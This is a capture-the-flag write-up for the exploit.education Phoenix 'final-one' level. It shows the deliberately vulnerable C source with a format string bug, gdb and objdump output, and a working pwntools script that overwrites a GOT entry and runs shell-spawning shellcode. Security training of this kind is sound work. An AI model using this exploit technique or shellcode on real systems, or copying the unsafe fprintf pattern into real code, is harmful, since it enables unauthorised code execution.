Phoenix - Final One

4 minute read

#include <arpa/inet.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <syslog.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char username[128];
char hostname[64];
FILE *output;

void logit(char *pw) {
  char buf[2048];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
      hostname, username, pw);

  fprintf(output, buf);
}

void trim(char *str) {
  char *q;

  q = strchr(str, '\r');
  if (q) *q = 0;
  q = strchr(str, '\n');
  if (q) *q = 0;
}

void parser() {
  char line[128];

  printf("[final1] $ ");

  while (fgets(line, sizeof(line) - 1, stdin)) {
    trim(line);
    if (strncmp(line, "username ", 9) == 0) {
      strcpy(username, line + 9);
    } else if (strncmp(line, "login ", 6) == 0) {
      if (username[0] == 0) {
        printf("invalid protocol\n");
      } else {
        logit(line + 6);
        printf("login failed\n");
      }
    }
    printf("[final1] $ ");
  }
}

int testing;

void getipport() {
  socklen_t l;
  struct sockaddr_in sin;

  if (testing) {
    strcpy(hostname, "testing:12121");
    return;
  }

  l = sizeof(struct sockaddr_in);
  if (getpeername(0, (void *)&sin, &l) == -1) {
    err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp) {
  if (argc >= 2) {
    testing = !strcmp(argv[1], "--test");
    output = stderr;
  } else {
    output = fopen("/dev/null", "w");
    if (!output) {
      err(1, "fopen(/dev/null)");
    }
  }

  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  printf("%s\n", BANNER);

  getipport();
  parser();

  return 0;
}

If you take a quick look at the code you can spot the format string bug in logit function, let’s trace back to find where it’s called.

It’s called in parser function, this function takes two kinds of input (username followed by a string OR login).

username STRING stores the string in line and login calls logit function with that string as argument.

The bug here is that snprintf copies the string argument to buf then fprintf prints this string without using %s, hence the bug.

$ /opt/phoenix/i486/final-one --test
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ username AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 
[final1] $ login 
Login from testing:12121 as [AAAA0.0.69676f4c.7266206e.74206d6f.69747365.313a676e.31323132.20736120.4141415b.2e782541.252e7825.78252e78.2e78252e.252e7825] with password []
login failed

We can see that AAA appears at 9th place with 5b as first byte so we will use AAA as offset then we enter the address we want to write to, but first we choose a good address.

The best choice if to overwrite a GOT entry, here we will overwrite the address of printf.

So we need to know the address of the buffer that will contain the shellcode. Open two terminals (you can use tmux or screen):

# First Terminal
$ nc localhost 64014
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
# Second Terminal

$ ps aux | grep final
phoenix+  1114  0.0  0.0    736     8 ?        Ss   12:17   0:00 /opt/phoenix/i486/final-one
user      1134  0.0  0.0   5136   984 pts/3    S+   12:18   0:00 grep final

$ sudo gdb -p 1114
Attaching to process 1114
Reading symbols from target:/opt/phoenix/i486/final-one...(no debugging symbols found)...done.

gef➤  disassemble logit
Dump of assembler code for function logit:
.....
   0x08048827 <+66>:    call   0x80485a0 <fprintf@plt>
   0x0804882c <+71>:    add    esp,0x10
.....

gef➤  b *0x0804882c
Breakpoint 1 at 0x804882c

gef➤  c
Continuing.
# First Terminal

[final1] $ username AAAAA
[final1] $ login
# Second Terminal

gef➤  x/16xw $ebp-0x808
0xffffd490:     0x69676f4c      0x7266206e      0x31206d6f      0x302e3732
0xffffd4a0:     0x312e302e      0x3134333a      0x61203234      0x415b2073
0xffffd4b0:     0x41414141      0x6977205d      0x70206874      0x77737361
0xffffd4c0:     0x2064726f      0x000a5d5b      0x00000000      0x00000000

We can see that our input appears at 0xffffd4b0 with just one byte offset before (so we need just one byte offset instead of three).

$ objdump -R /opt/phoenix/i486/final-one | grep printf
08049e48 R_386_JUMP_SLOT   printf

printf is at 08049e48, now we are ready to write the exploit.

Solution:

# solve.py

from pwn import *

printf = 0x08049e48
buffer = 0xffffd4c0
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'

buff = ""
buff += 'username A'		# A is just an offset

buff += p32(printf+0)
buff += 'AAAA'			# JUNK that will be popped with second %x
buff += p32(printf+1)
buff += 'AAAA'			# JUNK that will be popped with third %x
buff += p32(printf+2)
buff += 'AAAA'			# JUNK that will be popped with forth %x
buff += p32(printf+3)

buff += shellcode

buff += '%x' * 9
buff += '%45x %n'		# first byte 0xc8
buff += '%19x %n'		# second byte 0xd4
buff += '%42x %n'		# third byte 0xff
buff += '%255x %n \n'		# forth byte 0xff
buff += 'login \n'

p = remote('localhost', 64014)
print(p.recvline())

p.send(buff)
p.interactive()

Notice that we used AAAA between addresses because we use %nx instead of normal characters which will pop an a value from the stack.

$ python x.py
[+] Opening connection to localhost on port 64014: Done
Welcome to phoenix/final-one, brought to you by https://exploit.education

[*] Switching to interactive mode
[final1] $ [final1] $ login failed

$ whoami
phoenix-i386-final-one